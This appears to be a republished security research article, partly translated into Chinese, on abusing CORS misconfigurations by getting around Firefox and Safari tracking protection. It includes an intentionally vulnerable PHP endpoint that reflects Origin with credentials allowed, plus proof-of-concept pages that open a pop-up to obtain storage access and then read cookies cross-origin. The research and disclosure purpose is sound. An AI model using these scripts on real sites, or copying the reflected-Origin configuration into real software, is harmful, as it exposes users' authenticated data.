Cross-Origin Resource Sharing (CORS) is a web protocol that outlines how a web application on one domain can access resources from a server on a different domain. By default, web browsers have a Same-Origin Policy (SOP) that blocks these cross-origin requests for security purposes. However, CORS offers a secure way for servers to specify which origins are allowed to access their assets, thereby enabling a structured method of relaxing this policy.
跨域资源共享 (CORS) 是一种 Web 协议,它概述了一个域上的 Web 应用程序如何从另一个域上的服务器访问资源。默认情况下,Web 浏览器具有同源策略 (SOP),出于安全目的阻止这些跨域请求。但是,CORS 为服务器提供了一种安全的方式来指定允许哪些源访问其资产,从而启用放宽此策略的结构化方法。
In CORS, the server sends HTTP headers to instruct the browser on rules for making cross-origin requests. These rules define whether a particular HTTP request (such as GET or POST) from a certain origin is allowed. By managing the CORS headers, a server can control its resource accessibility on a case-by-case basis. This maintains the flexibility of cross-origin sharing without compromising overall security.
在 CORS 中,服务器发送 HTTP 标头以指示浏览器执行跨域请求的规则。这些规则定义是否允许来自特定源的特定 HTTP 请求(例如 GET 或 POST)。通过管理 CORS 标头,服务器可以根据具体情况控制其资源可访问性。这保持了跨域共享的灵活性,而不会影响整体安全性。
CORS uses specific HTTP headers to control access to resources. Here are a few examples:
CORS 使用特定的 HTTP 标头来控制对资源的访问。以下是一些示例:
Access-Control-Allow-Origin
: This header specifies the origin that is allowed to access the resource. The value can be a specific domain (e.g., https://example.com) or a wildcard (*
) allowing any domain.
Access-Control-Allow-Origin
:此标头指定允许访问资源的源。该值可以是允许任何域的特定域(例如,https://example.com)或通配符 (*
)。Access-Control-Allow-Methods
: This header defines the HTTP methods (such asGET
,POST
, andDELETE
) allowed when accessing the resource. The value is a comma-separated list of methods (for example,GET, POST, DELETE
).
Access-Control-Allow-Methods
:此标头定义访问资源时允许的 HTTP 方法(例如GET
、POST
和DELETE
)。该值是以逗号分隔的方法列表(例如,GET, POST, DELETE
)。Access-Control-Allow-Credentials
: This header indicates whether or not the response to the request can be exposed when the credentials flag is true. If used, it must be set totrue
.
Access-Control-Allow-Credentials
:此标头指示当凭据标志为 true 时是否可以公开对请求的响应。如果使用,则必须将其设置为true
。
While there are other headers available, this article will focus specifically on Access-Control-Allow-Credentials
.
虽然还有其他可用的标头,但本文将重点介绍 Access-Control-Allow-Credentials
.
Proper header handling is crucial for secure and accurate CORS functionality. Improper configuration can lead to serious security vulnerabilities, enabling attackers to bypass the Same Origin Policy (SOP) and perform various potential attacks.
正确的标头处理对于安全准确的 CORS 功能至关重要。配置不当会导致严重的安全漏洞,使攻击者能够绕过同源策略(SOP)并执行各种潜在的攻击。
- Insecure
Access-Control-Allow-Origin
: If a site uses a wildcard*
as the value forAccess-Control-Allow-Origin
, it allows any domain to make cross-origin requests. In the same way, dynamically reflecting theOrigin
header value can create security vulnerabilities. This misconfiguration can be used to access sensitive data from a website.
不安全Access-Control-Allow-Origin
:如果站点使用通配符*
作为Access-Control-Allow-Origin
的值,则允许任何域发出跨域请求。同样,动态反映Origin
标头值也会产生安全漏洞。这种错误配置可用于从网站访问敏感数据。 - Improper use of
Access-Control-Allow-Credentials
: SettingAccess-Control-Allow-Credentials
totrue
allows the frontend JavaScript to access the response when the request’s credentials mode is set toinclude
. However, this can lead to data leaks if combined with a misconfiguredAccess-Control-Allow-Origin
header.
不正确使用Access-Control-Allow-Credentials
:设置为true
允许前端 JavaScript 在请求的凭据模式设置为Access-Control-Allow-Credentials
时访问响应include
。但是,如果与配置Access-Control-Allow-Origin
错误的标头结合使用,则可能会导致数据泄漏。
There are more vulnerabilities associated with CORS misconfigurations. You can learn more about this at PortSwigger’s CORS page. However, it’s important to note that some changes in browsers have occurred since those articles were written. These changes have also affected the exploitation of CORS misconfiguration vulnerabilities. According to the guides, it is possible to access vulnerable-website.com
from malicious-website.com
using credentials, if the vulnerable service returns the headers Access-Control-Allow-Origin: https://malicious-website.com
and Access-Control-Allow-Credentials: true
. While you may be able to complete a PortSwigger lab, it is because the exploit server and the vulnerable site are on the same root domain. It’s unlikely that you’ll be able to do this from a different root domain. This article will explain the reasons behind this.
还有更多与 CORS 错误配置相关的漏洞。您可以在 PortSwigger 的 CORS 页面上了解更多信息。但是,需要注意的是,自撰写这些文章以来,浏览器发生了一些变化。这些更改还影响了对 CORS 错误配置漏洞的利用。根据指南, vulnerable-website.com
malicious-website.com
如果易受攻击的服务返回标头 Access-Control-Allow-Origin: https://malicious-website.com
和 A ccess-Control-Allow-Credentials: true
.虽然您可能能够完成 PortSwigger 实验室,但这是因为攻击服务器和易受攻击的站点位于同一根域中。您不太可能从其他根域执行此操作。本文将解释这背后的原因。
Updates in browser security mechanisms
浏览器安全机制的更新
Chrome’s recent change in default settings has further impacted the exploitation of CORS misconfigurations. Specifically, Chrome now defaults the SameSite
attribute of cookies to Lax
, which limits cookies to same-site requests or GET
requests for top-level navigation. This means that in Chrome, it’s no longer possible to send a cross-origin request with a cookie from a different root domain. Consequently, subdomain takeover or XSS attacks have become the primary methods of exploiting CORS misconfigurations.
Chrome 最近对默认设置的更改进一步影响了对 CORS 错误配置的利用。具体来说,Chrome 现在将 cookie SameSite
的属性默认为 ,这会将 cookie 限制为 Lax
同一站点请求或 GET
顶级导航请求。这意味着,在 Chrome 中,您无法再发送包含来自其他根网域的 Cookie 的跨域请求。因此,子域接管或 XSS 攻击已成为利用 CORS 错误配置的主要方法。
It’s important to note that not all web browsers have implemented the same cookie security measures. Firefox and Safari have chosen different approaches to restrict cookie transmission in cross-origin requests. To understand how CORS works in various browser contexts and to explore ways to bypass its defense mechanisms, this article will create a simulated environment that illustrates the intricacies of CORS behavior across different browsers.
需要注意的是,并非所有 Web 浏览器都实施了相同的 cookie 安全措施。Firefox 和 Safari 选择了不同的方法来限制跨域请求中的 cookie 传输。为了了解 CORS 在各种浏览器上下文中的工作方式并探索绕过其防御机制的方法,本文将创建一个模拟环境,以说明不同浏览器中 CORS 行为的复杂性。
Setting up the lab: a sandbox for CORS interactions
设置实验室:用于 CORS 交互的沙盒
Our lab consists of three domains:
我们的实验室由三个领域组成:
attack-cors.worksh0p.repl.co
: This domain hosts anindex.html
file and will be used to initiate cross-origin requests.
attack-cors.worksh0p.repl.co
:此域托管一个index.html
文件,将用于发起跨域请求。same-site.nicksv.com
: This is a site with the same root domain asvuln-cors.nicksv.com
. It mirrorsattack-cors.worksh0p.repl.co
in hosting anindex.html
file for cross-origin requests tovuln-cors.nicksv.com
.
same-site.nicksv.com
:这是与vuln-cors.nicksv.com
具有相同根域的站点。它镜像attack-cors.worksh0p.repl.co
为跨域请求托管index.html
文件vuln-cors.nicksv.com
。vuln-cors.nicksv.com
: With an intentional CORS misconfiguration, this domain serves as a potential target for exploitation. It hostsindex.php
, which returns data if a cookie is present and gives a 401 error otherwise, andauth.php
, which sets a cookie and redirects toindex.php
.
vuln-cors.nicksv.com
:如果 CORS 配置错误,此域将成为潜在的攻击目标。它托管index.php
,如果存在 cookie,则返回数据,否则会给出 401 错误,并且auth.php
,它设置一个 cookie 并重定向到index.php
。
All domains are currently accessible online and open to testing. To test using Replit, simply fork the project at https://replit.com/@worksh0p/Attack-Cors.
We will use the following domains to demonstrate and study the following scenarios:
我们将使用以下领域来演示和研究以下场景:
- How browsers handle cross-origin requests to a different root domain (
attack-cors.worksh0p.repl.co
tovuln-cors.nicksv.com
)
浏览器如何处理对不同根域的跨域请求 (attack-cors.worksh0p.repl.co
tovuln-cors.nicksv.com
) - How browsers handle cross-origin requests to a different subdomain of the same root domain (same-site.nicksv.com to vuln-cors.nicksv.com)
浏览器如何处理对同一根域的不同子域的跨域请求(same-site.nicksv.com 到 vuln-cors.nicksv.com) - How a CORS misconfiguration on a server (
vuln-cors.nicksv.com
) can be exploited in modern browsers
如何在现代浏览器中利用服务器上的 CORS 错误配置 (vuln-cors.nicksv.com
)
index.php: 索引 .php:
<?php
if (isset($_SERVER['HTTP_ORIGIN'])) {
header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
}
header("Access-Control-Allow-Credentials: true");
header("Content-Type: application/json");
function getCookie($name) {
if (isset($_COOKIE[$name])) {
return $_COOKIE[$name];
} else {
return false;
}
}
$cookieName = 'test';
$cookieValue = getCookie($cookieName);
if ($cookieValue === false) {
http_response_code(401);
echo json_encode(['message' => 'Unauthorized access: No cookie found']);
} else {
$response = array(
"message" => "Cookie value found",
"cookie" => $cookieValue
);
$jsonResponse = json_encode($response);
echo $jsonResponse;
}
?>
auth.php:
<?php
function createCookie($name, $value, $expiryTime, $path) {
setcookie($name, $value, time() + $expiryTime, $path);
}
$randomValue = md5(uniqid());
createCookie('test', $randomValue, 3600, '/');
header('Location: index.php');
exit;
?>
index.html:
<!DOCTYPE html>
<html>
<head>
<title>Cross-origin request Page</title>
<script>
function handleCorsRequest(type) {
let url = "https://vuln-cors.nicksv.com";
let options = {
method: "GET",
mode: "cors",
};
if (type === "withCredentials") {
options.credentials = "include";
}
fetch(url, options)
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.json();
})
.then(data => {
document.getElementById(`message-${type}`).textContent = 'Request succeeded with JSON response: ' + JSON.stringify(data);
})
.catch(error => {
document.getElementById(`message-${type}`).textContent = 'Request failed: ' + error.message;
});
}
</script>
</head>
<body>
<div id="main-container">
<div id="buttons-container">
<button onclick="handleCorsRequest('noCredentials')">Cross-origin request Without Credentials</button>
<button onclick="handleCorsRequest('withCredentials')">Cross-origin request With Credentials</button>
</div>
<div id="results-container">
<div id="message-noCredentials" class="message"></div>
<div id="message-withCredentials" class="message"></div>
</div>
</div>
</body>
</html>
Tracking protection in Firefox and Safari
According to statistics from Statcounter in October 2023, Firefox commands 3.06% of the desktop browser market, while Safari commands 19.91%.
Firefox: Enhanced Tracking Protection
Mozilla first introduced Tracking Protection in Firefox with the release of Firefox 42 in November 2015. It aimed to protect user privacy by blocking web content from known trackers provided by Disconnect, a privacy-focused company. However, this feature was not enabled by default and only worked in private browsing mode.
The feature received a significant upgrade with the launch of Firefox 69 in September 2019. This upgrade, called Enhanced Tracking Protection (ETP), was enabled by default for all users. ETP takes a more proactive approach to protecting user privacy by automatically blocking third-party tracking cookies. It also provides an option to block fingerprints (trackers that identify and track users based on their device configuration).
Despite these developments, cross-origin requests with credentials continued to operate as normal, and exploitation of misconfiguration was not considered a significant problem. However, this changed with the introduction of Firefox 103.
After that, cookies were only sent if the resources shared the same root domain.
The ETP icon is located in the URL bar on the left of the SSL icon and looks like a shield.
ETP has additional settings including exceptions and protection templates.
ETP 具有其他设置,包括例外和保护模板。
Let’s perform a cross-origin request from same-site.nicksv.com
to vuln-cors.nicksv.com
. Since these sites share the same root domain, the browser’s ETP allows this request to include cookies. As shown in figure 6, the request successfully carries the cookie, and the server responds as expected.
Next, we will perform a cross-origin request from attack-cors.worksh0p.repl.co
to vuln-cors.nicksv.com
. In this case, the domains do not share the same root. ETP should prevent this request from carrying cookies. As you can see in the following screenshot, the request proceeds without the cookie, indicating that ETP has functioned as intended.
To further emphasize the effect of ETP on cross-origin requests, we’ll disable ETP and rerun the cross-origin request from attack-cors.w0rkshop.repl.co
to vuln-cors.nicksv.com
. Now, the previously cookie-less cross-origin request should carry the cookie.
Safari: Intelligent Tracking Prevention
Safari:智能防跟踪
Apple, on the other hand, introduced its defense mechanism against cross-site tracking with the release of Safari 11 in September 2017. This feature, named Intelligent Tracking Prevention (ITP), uses machine learning algorithms to identify and block trackers that attempt to access a user’s cookies across multiple sites.
另一方面,Apple 在 2017 年 9 月发布 Safari 11 时引入了针对跨站点跟踪的防御机制。此功能名为智能跟踪防护 (ITP),它使用机器学习算法来识别和阻止试图跨多个站点访问用户 Cookie 的跟踪器。
Initially, ITP was not enabled by default and users had to manually turn on the “Prevent cross-site tracking” option in settings. However, with the rollout of Safari 12.1 in March 2019, ITP was enabled by default. Furthermore, Apple has continued to update and improve ITP, making it more effective at combating different forms of cross-site tracking.
最初,默认情况下未启用 ITP,用户必须在设置中手动打开“防止跨站点跟踪”选项。但是,随着 2019 年 3 月推出 Safari 12.1,默认情况下启用了 ITP。此外,Apple 还在不断更新和改进 ITP,使其更有效地对抗不同形式的跨站点跟踪。
Typically, it’s enabled by default in Safari 17, but there are some rare exceptions.
通常,它在 Safari 17 中默认启用,但也有一些罕见的例外。
ITP settings are located on the Privacy tab in Safari settings.
ITP 设置位于 Safari 设置的“隐私”选项卡上。
Unfortunately, there is no default icon for this feature. However, we can add the “Privacy Report” option to the Customize Toolbar. Note that the icon for this option is static, so to see whether the function is enabled, you will need to click on it.
不幸的是,此功能没有默认图标。但是,我们可以将“隐私报告”选项添加到自定义工具栏中。请注意,此选项的图标是静态的,因此要查看该功能是否已启用,您需要单击它。
Now, with ITP enabled, let’s execute a cross-origin request from same-site.nicksv.com
to vuln-cors.nicksv.com
. As these domains share the same root domain, ITP should allow this request to include cookies. As shown in figure 15, the request successfully includes the cookie and receives a response from the server.
Following this, let’s perform a cross-origin request from attack-cors.worksh0p.repl.co
to vuln-cors.nicksv.com
. As these domains don’t share the same root, the Safari ITP policy should prevent this request from carrying cookies. As you can see in the following screenshot, the request proceeds without the cookie, demonstrating ITP’s intervention in this scenario.
To further underscore the effect of ITP on cross-origin requests, we’ll disable ITP and reattempt the cross-origin request from attack-cors.worksh0p.repl.co
to vuln-cors.nicksv.com
. As shown in the following screenshot, the request includes the cookie and receives a response from the server.
为了进一步强调 ITP 对跨域请求的影响,我们将禁用 ITP,然后从 attack-cors.worksh0p.repl.co
到 vuln-cors.nicksv.com
重新尝试跨域请求。如以下屏幕截图所示,该请求包含 cookie 并接收来自服务器的响应。
As we can see, the result of the tracking protection mechanism in Safari is the same as in Firefox. Therefore, the schemes presented in the previous section are also suitable for Safari.
Bypassing tracking protection
Firefox
Let’s start with Firefox.
How can we bypass this tracking protection? Our colleague and experienced researcher Igor Sak-Sakovskiy has suggested a technique that involves using a user-initiated action to open a new tab and then performing a cross-origin request with credentials.
But why does this work? To find the answer to this question, I had to do the unthinkable – consult the Firefox documentation. There I found the following in the “Storage access heuristics” section of the “Opener Heuristics” part:
- When a partitioned third-party opens a pop-up window that has opener access to the originating document, the third-party is granted storage access to its embedder for 30 days.
- When a first-party
a.example
opens a third-party pop-upb.example
,b.example
is granted third-party storage access toa.example
for 30 days.
Here’s our POC:
bypass.html:
<body>
<p>Click anywhere on this page to trigger the Cross-origin request.</p>
<div id="response"></div>
<script>
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
open('https://vuln-cors.nicksv.com/');
fetch('https://vuln-cors.nicksv.com/', {
method: 'GET',
credentials: 'include',
mode: 'cors'
})
.then(response => response.json())
.then(data => {
document.getElementById('response').innerHTML = JSON.stringify(data, null, 2);
})
.catch(error => {
console.log('Failed to issue Cross-origin request');
});
}
});
</script>
</body>
When the user clicks anywhere on the webpage, a script opens vuln-cors.nicksv.com
in a new tab. Assuming attack-cors.worksh0p.repl.co
is the first-party site (the site the user is directly interacting with), and vuln-cors.nicksv.com
is a third-party site opened through this user interaction, it will be granted storage access for 30 days because it was opened as a pop-up window or in a new tab.
This means that for the next 30 days you don’t need to bypass tracking protection again in order to send cookies.
这意味着在接下来的 30 天内,您无需再次绕过跟踪保护即可发送 Cookie。
Safari
To bypass ITP in Safari, we will need to slightly modify the bypass script. Let’s add a two-second timeout before the cross-origin request. Otherwise, it may be unstable.
safari.html:
<body>
<p>Click anywhere on this page to trigger the CORS request.</p>
<div id="response"></div>
<script>
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
open('https://vuln-cors.nicksv.com/');
setTimeout(() => {
fetch('https://vuln-cors.nicksv.com/', {
method: 'GET',
credentials: 'include',
mode: 'cors'
})
.then(response => response.json())
.then(data => {
document.getElementById('response').innerHTML = JSON.stringify(data, null, 2);
})
.catch(error => {
console.log('Failed to issue Cross-origin Request');
});
}, 2000);
}
});
</script>
</body>
Important. The process above is described for the last Safari 17 on macOS Sonoma. However, this study was originally conducted several months prior with Safari 16 on macOS Ventura, which had quite a different process of bypassing the protection. To bypass ITP in Safari 16, the user had to not only click on the safari.html
page, but also click on the opened page (vuln-cors.nicksv.com
). Only then were cookies inserted into the cross-origin request. Luckily, the latest version of the browser only requires one click.
Report to vendors 向供应商报告
Both Mozilla and Apple were notified about the possibility of bypassing tracking protection. Firefox developers acknowledged this behavior. They noted that this was a known and documented aspect of the browser’s functionality. Apple didn’t provide a response.
Mozilla和Apple都被告知可以绕过跟踪保护。Firefox 开发人员承认了这种行为。他们指出,这是浏览器功能的一个已知且有据可查的方面。苹果没有提供回应。
A brief look at mobile browsers
移动浏览器简介
Considering that over 55% of website traffic comes from mobile devices, let’s have a look at how things are going there.
考虑到超过 55% 的网站流量来自移动设备,让我们来看看那里的情况如何。
Let’s begin with Android devices. As expected, Chrome on Android works in a similar way to the desktop version. I choose Firefox as another target.
让我们从Android设备开始。不出所料,Android 上的 Chrome 的工作方式与桌面版本类似。我选择Firefox作为另一个目标。
The Android version also has ETP built in and enabled by default. However, unlike the desktop version, it does not affect our cross-origin request and allows us to execute it with credentials from another root domain without bypasses.
Android 版本还内置并默认启用 ETP。但是,与桌面版本不同的是,它不会影响我们的跨域请求,并允许我们使用来自另一个根域的凭据执行它,而不会绕过它。
Now let’s take a look at Apple’s mobile device. All iOS browsers run on WebKit, meaning Safari, Google Chrome, or any other browser should behave almost identically.
In Safari settings the option is called “Prevent Cross-Site Tracking” and in Chrome settings there is an option called “Allow Cross-Website Tracking”. In both browsers, the security features are enabled by default.
On this platform, the trackers do their job and we are unable to make a cross-origin request with cookies. Bypasses from desktop browsers won’t work, but the two-click method we mentioned earlier will do the trick.
在这个平台上,跟踪器会完成他们的工作,我们无法使用 cookie 发出跨域请求。绕过桌面浏览器是行不通的,但我们前面提到的双击方法可以解决问题。
Interestingly, during our research, we found that an iOS 16 device required one click, while iOS 15 and 17 devices required two clicks. There were also slight differences between Safari and Chrome, despite the fact that they both run on the same engine.
有趣的是,在我们的研究中,我们发现 iOS 16 设备需要单击一次,而 iOS 15 和 17 设备需要单击两次。Safari 和 Chrome 之间也略有不同,尽管它们都运行在同一引擎上。
For a successful repeatable demonstration, let’s create a new button.html
page at vuln-cors.nicksv.com
. This is because mobile browsers often do not count tapping on a blank screen or text on our example site as a second click. For this reason, I made a simple page with a button that changes the label text.
为了获得成功的可重复演示,让我们在 vuln-cors.nicksv.com
创建一个新 button.html
页面。这是因为移动浏览器通常不会将点击我们示例网站上的空白屏幕或文本视为第二次点击。出于这个原因,我制作了一个简单的页面,上面有一个按钮来更改标签文本。
Let’s edit our safari.html script a bit and save it under a new name – webkit.html
. When clicked, it will open https://vuln-cors.nicksv.com/button.html
. Let’s also increase the timeout for a cross-origin request to three seconds.
We are able to run cross-origin requests from another domain with credentials on both browsers and get the data.
我们能够在两个浏览器上使用凭据从另一个域运行跨域请求并获取数据。
Conclusion 结论
In this deep dive, we have explored how CORS works across different web browsers and how certain misconfigurations can be exploited despite the built-in anti-tracking mechanisms. Since such tracking protection behavior is necessary for the functionality of certain web apps, we can expect that this method will continue to work in the future.
在本次深入探讨中,我们探讨了 CORS 如何在不同的 Web 浏览器上工作,以及尽管有内置的反跟踪机制,但某些错误配置如何被利用。由于这种跟踪保护行为对于某些 Web 应用程序的功能是必要的,因此我们可以预期此方法将来将继续有效。
All code can be found on GitHub https://github.com/nicksvv/BypassTrackingProtection.
所有代码都可以在 GitHub https://github.com/nicksvv/BypassTrackingProtection 上找到。
Special thanks to Alexander Minin. This research wouldn’t have happened without him.
特别感谢Alexander Minin。没有他,这项研究就不会发生。
原文始发于ptsecurity:Bypassing browser tracking protection for CORS misconfiguration abuse
转载请注明:Bypassing browser tracking protection for CORS misconfiguration abuse | CTF导航